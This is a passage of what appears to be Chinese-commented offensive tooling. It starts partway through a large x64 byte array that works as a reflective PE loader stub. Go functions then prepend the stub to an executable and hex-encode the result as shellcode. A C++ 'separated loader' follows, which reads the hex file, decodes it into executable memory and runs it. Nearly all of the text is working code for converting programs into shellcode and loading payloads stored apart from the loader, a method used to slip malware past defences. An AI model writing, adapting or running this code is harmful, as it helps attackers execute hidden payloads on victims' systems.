0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x28, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x28, 0x81, 0x7C, 0x24, 0x28, 0x00, 0x40, 0x9C, 0x00, 0x0F,0x8D, 0xAF, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x01, 0x83, 0xF8, 0x4D, 0x0F, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x01, 0x83, 0xF8, 0x5A, 0x75, 0x79, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x02, 0x3D, 0x90, 0x00, 0x00, 0x00, 0x75, 0x60, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x03, 0x85, 0xC0, 0x75, 0x4A, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x04, 0x83, 0xF8, 0x03, 0x75, 0x33, 0x48, 0x63, 0x44, 0x24,0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x05, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xEB, 0x05, 0xE9, 0x39, 0xFF, 0xFF, 0xFF, 0x48, 0xC7, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x01, 0x00, 0x00, 0xFF, 0x94,0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0x7C, 0x24, 0x50, 0x00, 0x75, 0x32, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48,0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x89, 0x48, 0x30, 0xC7, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84,0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x54, 0x39, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x73, 0x27, 0x48, 0x63, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x50, 0x4C, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0x04, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xB5, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x05, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x6C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x6C, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x40, 0x06, 0x39, 0x44, 0x24, 0x6C, 0x0F, 0x8D, 0xA1, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x10, 0x39, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x73, 0x61, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24,0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x14, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x63, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x54, 0x24, 0x6C, 0x48, 0x6B, 0xD2, 0x28, 0x4C, 0x8B, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x54, 0x10, 0x0C, 0x4C, 0x8B, 0x44, 0x24, 0x50, 0x4C, 0x03, 0xC2, 0x49, 0x8B, 0xD0, 0x4C,0x63, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x08, 0x42, 0x88, 0x04, 0x02, 0xE9, 0x71, 0xFF, 0xFF, 0xFF, 0xE9, 0x3F, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x14, 0x48, 0x8B, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x14, 0x48, 0x89, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x39, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x0F, 0x83, 0x65, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24,0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x78, 0x10, 0x00, 0x75, 0x05, 0xE9, 0x22, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01,0x00, 0x00, 0x48, 0x83, 0xBC, 0x24, 0x58, 0x01, 0x00, 0x00, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x99,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x58, 0x01, 0x00,0x00, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x74, 0x58, 0x48, 0x8B,0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x25, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD1, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x30,0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x30, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x83, 0x38, 0x00, 0x75, 0x05, 0xE9, 0xB3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x09, 0x48, 0x39, 0x08, 0x75,0x6E, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01,0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x70,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0xE9, 0x5C, 0xFE, 0xFF, 0xFF, 0xE9, 0x71, 0xFD, 0xFF, 0xFF, 0x83, 0xBC, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x0D, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48,0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x2B, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x05, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88,0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x98, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8,0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24,0x88, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x22, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x8B, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x83, 0xC0,0x02, 0x89, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x39, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0x8D, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xB8, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x09, 0x66, 0x23, 0xC8, 0x0F,0xB7, 0xC1, 0x0F, 0xB7, 0xC0, 0x48, 0x8B, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x09, 0x03, 0xC8, 0x8B, 0xC1, 0x8B, 0xC0, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x03, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xC8,0x01, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xE9, 0x58, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x02, 0xEB, 0x3E, 0x48, 0x8B,0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xE9, 0xD3, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24,0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x28, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x70, 0x02, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x70, 0x02, 0x00, 0x00, 0x48, 0x81, 0xC4, 0xC8, 0x02, 0x00, 0x00, 0xC3}
// 读取源文件
fileBuff, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 创建合并后的缓冲区
shellCodeBuff := append(hexData, fileBuff...)
encryptedData := hex.EncodeToString(shellCodeBuff)
byteSlice := []byte(encryptedData)
// fmt.Println(byteSlice)
// 写入输出文件
err = ioutil.WriteFile(outPath,byteSlice, 0644)
if err != nil {
fmt.Println("Error writing file:", err)
return
}
fmt.Println("Successfully wrote 64-bit shellcode to", outPath)
}
func Write32FileShellCode(path, outPath string) {
hexData := []byte{0x55,}
// 读取源文件
fileBuff, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 创建合并后的缓冲区
shellCodeBuff := append(hexData, fileBuff...)
encryptedData := hex.EncodeToString(shellCodeBuff)
byteSlice := []byte(encryptedData)
// fmt.Println(byteSlice)
//写入输出文件
err = ioutil.WriteFile(outPath, byteSlice, 0644)
if err != nil {
fmt.Println("Error writing file:", err)
return
}
fmt.Println("Successfully wrote 32-bit shellcode to", outPath)
}加载器
分离加载
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#pragma comment(lib, "wininet.lib")
#include <sstream>
using namespace std;
std::string wstringToString(const std::wstring& wstr) {
std::string str(wstr.begin(), wstr.end());
return str;
}
unsigned char hexCharToByte(char c) { //对hex编码后的shellcode进行解码
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return 10 + c - 'a';
if (c >= 'A' && c <= 'F') return 16 + c - 'A';
return 255;
}
std::string decodeHexString(const std::string& hexString) {
// 计算解码后的数据长度，用来申请内存空间
std::string decoded;
if (hexString.length() % 2 != 0) {
std::cerr << "Hex string has odd length." << std::endl;
return decoded;
}
for (size_t i = 0; i < hexString.length(); i += 2) {
unsigned char highNibble = hexCharToByte(hexString[i]);
unsigned char lowNibble = hexCharToByte(hexString[i + 1]);
if (highNibble == 255 || lowNibble == 255) {
std::cerr << "Invalid hex character found." << std::endl;
return decoded;
}
unsigned char byte = (highNibble << 4) | lowNibble;
decoded.push_back(byte);
}
return decoded;
}
bool isFileExists(const std::string& file_path) {
std::ifstream file(file_path);
return file.good();
}
void depass_exe(const std::string& file_path) { //解码并加载shellcode
std::ifstream input_file(file_path, std::ios::binary);
if (!input_file) {
std::cout << "Failed to open file!" << std::endl;
return;
}
std::string encrypted_data((std::istreambuf_iterator<char>(input_file)), std::istreambuf_iterator<char>());
input_file.close();
std::string decrypted_data = decodeHexString(encrypted_data);
const unsigned char* byte_sequence = reinterpret_cast<const unsigned char*>(decrypted_data.c_str());
size_t byte_sequence_length = decrypted_data.length();
LPVOID execMemory = VirtualAlloc(NULL, byte_sequence_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMemory, byte_sequence, byte_sequence_length); //加载shellcode到内存
typedef void (*ShellcodeFunc)();
ShellcodeFunc shellcodeFunc = reinterpret_cast<ShellcodeFunc>(execMemory);
shellcodeFunc();
VirtualFree(execMemory, 0, MEM_RELEASE);
}
int main() {
std::string file_path = "fff.txt"; //获取编码后的shellcode文件
if (isFileExists(file_path)) {
depass_exe(file_path);
return 0;
}
else {
return 0;
}
}
